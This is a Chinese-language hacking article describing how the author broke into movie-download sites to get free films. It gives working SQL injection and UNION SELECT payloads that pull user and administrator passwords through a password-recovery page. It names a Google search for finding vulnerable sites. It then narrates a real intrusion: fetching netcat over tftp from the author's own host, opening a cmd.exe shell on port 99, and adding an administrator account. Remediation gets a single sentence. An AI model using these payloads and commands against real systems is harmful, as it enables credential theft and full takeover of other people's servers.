程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> Oracle數據庫基礎 >> SQL注入奇招致勝 Union查詢輕松看電影

SQL注入奇招致勝 Union查詢輕松看電影

編輯:Oracle數據庫基礎

周末無聊,同學想讓我幫他下載一些電影看,我爽快的答應了。看了這麼多期X檔案,水平自然長進不少。這次想免費下載些電影,沒問題(我知道N多電影程序有漏洞)。閒話少說,切入正題。

我打開Google,隨便搜索了一下電影網站,點開了一個。看了一下界面,知道和電影系統關聯很大。系統和"洞"網(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比如注入啊,COOKIE欺騙什麼的。我就在X檔案03年11期看過一篇文章,寫的是用ASC和MID函數對系統管理員帳戶進行猜測。我也想用這種方法猜測,猜了半天都沒猜對,真煩人,同學還在那邊等我哪,這不是很丟人。我決定找個簡單的辦法,還是讀讀源碼吧!

下載了一個電影系統,看了一下,這麼多個文件,頭馬上大了。還是在自己電腦上運行一下吧。注冊了一個用戶,點了一下找回密碼,別人說這裡有漏洞。看了一下,象是有漏洞的界面,有三個參數,還直接把密碼顯示出來。好,看一下源碼。

39        <% if request("myuserid")="" then %>

...

58   <%else

set rs=server.createobject("adodb.recordset"

sql="select passWord from users where

 userid='"&request("myuserid")&"'and city='"&

request("ask")&"'and adress='"&request("answer")&"'"

rs.open sql,conn,1,1if rs.eof and rs.bof then%>

這裡果然沒過濾。好多人都想到了可以用上面的方法注入了。能不能有更簡單的方法呢?

我仔細考慮語句的形式如下:

select passWord from users where userid=‘‘ and city=‘‘ and adress='‘

如果用戶名,密碼提示問題(city),密碼提示答案(adress)和表users一行匹配,便打印這行的passWord,而且是明文的。我想的過程就不寫了,後來我想到了一種方法,就是利用union查詢。Access功能是很弱的,不能執行命令,不能導出文本,還不能注釋。有個子查詢可以利用之外,也就剩下這個 union了。

怎麼利用呢?先在本機做實驗。測試過程簡略,直接寫有所收獲的結果。要是知道了一個該網站的一個用戶名(比如abc),可以這樣利用。在"你注冊問題"處填: abc' or ‘1=1(如果用戶名是bcd,就變為bcd' or ‘1=1)密碼提示問題處隨便填幾個字母或數字,最好別有符號,容易影響結果: 比如字母a密碼提示答案處隨便填幾個字母或數字,填個a回車後就看到該用戶的密碼了,簡單吧(如圖一)。其實這樣一來,上面的語句就變為:

select passWord from users

where userid=‘abc'  or  ‘1=1‘ and city=‘a‘ and adress='a‘

呵呵,程序無條件的執行了,因為被 or ‘1=1'跳過後面的驗證了。可是網站用戶名也不是輕易得到的啊。別急,得到用戶名一樣簡單。如下:在"你注冊問題"處隨便處填幾個字母或數字,最好別有符號,容易影響結果: 比如字母a密碼提示問題處和上面一樣,隨便填:我也填個a關鍵是在密碼提示答案:我填的是a' union select userid from users where oklook>=3 or '0上面就是要找黃金用戶的帳戶名,看到用戶名後再用前面的方法找到密碼。可以在where後面加很多參數並賦不同的值可以得到很多帳戶。按上面的填入後輸入語句就變成了:

select passWord from users

where userid=‘a‘ and city=‘a‘ and 

adress=' a' union select  userid  from users  where oklook>=3 or '0 ‘

細心的讀者看到這可能已經想到怎樣得到管理員的帳號和密碼,不錯,也很簡單。我也不寫過程了,直接寫出語句如下:

得到帳號:

select passWord from users

where userid=‘a‘ and city=‘a‘ and adress=' a' 

union select  name  from okwiantgo  where  id>=1 or '0 ‘

得到密碼:

select passWord from users 

where userid=‘a‘ and city=‘a‘ and adress=' a' 

union select  pwd  from okwiantgo  where  id>=1 or '0 ‘

然後登陸就行了,路徑格式為:

http://網站電影路徑/findaccout.ASP?name=管理員帳號&pwd=管理員密碼

回車,很輕松就進管理界面了。有時findaccount.ASP可能被改名了,這時只能拿個黃金帳戶了。

這個漏洞有很多電影程序有,有的程序表名不是okwiantgo(程序會報告64行屬性不對),改成admin或passWord.,把上面的輸入稍微修改一下行了。這樣一來不管是多復雜的密碼,或者是中文密碼都沒問題。再猜管理員帳戶的時候也要多,where後面的條件多變化才行,否則可能得不到超級管理員。

這個漏洞使用很簡單,危害極大,輕易可以得到管理員帳戶。如果系統配置不當,在upload/uploadmovIE.asp允許上傳ASP文件,系統就很容易換主人了。我曾經成功滲透過這樣一個網站,簡單過程敘述如下。

上傳一個ASP程序,發現該系統運行SQLSERVER,通過讀源文件看到了sa的密碼,用sqlexec連接,tftp上傳nc.exe。再次dir發現nc被刪了,有防火強。用tftp上傳nc.jpg肯定萬無一失, tFTP -i 我的IP get nc.exe nc.jpg,上傳成功。在sqlexec運行

nc.jpg -l -p 99 -e  cwinntsystem32cmd.exe

nc想必都很熟悉了吧,上面就是再目標機器上開一個99端口監聽,同時把cmd.exe重定向到這裡,本地連接nc.exe -vv 目標IP 99,得到shell,而且是管理員權限。輸入 net user abc 123456 /add && net localgroup administrators abc /add添加用戶成功順便加入管理員,&&意思是前面成功後面執行。該系統開著3389,省了我好多事情。好了回到正題,這個漏洞存在80%以上電影程序中,在google裡搜索user/wantpws.ASP,打開後發現可以輸入三個參數,且把密碼直接顯示的都有此漏洞。修補方法,應該對三個參數進行嚴格驗證,而且把結果發送的到郵箱裡更穩妥,有的網站是這樣做的。

總結:

我寫此問的目的是想說好多問題要多想多試,一個漏洞利用方法不只一種,我們要自己學會發現。入侵過程靈活多樣,我們應動腦筋。大家免費看電影的同時可別搞破壞啊,任何後果與我無關。同時我也希望看到這篇文章後,網站盡快更改。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved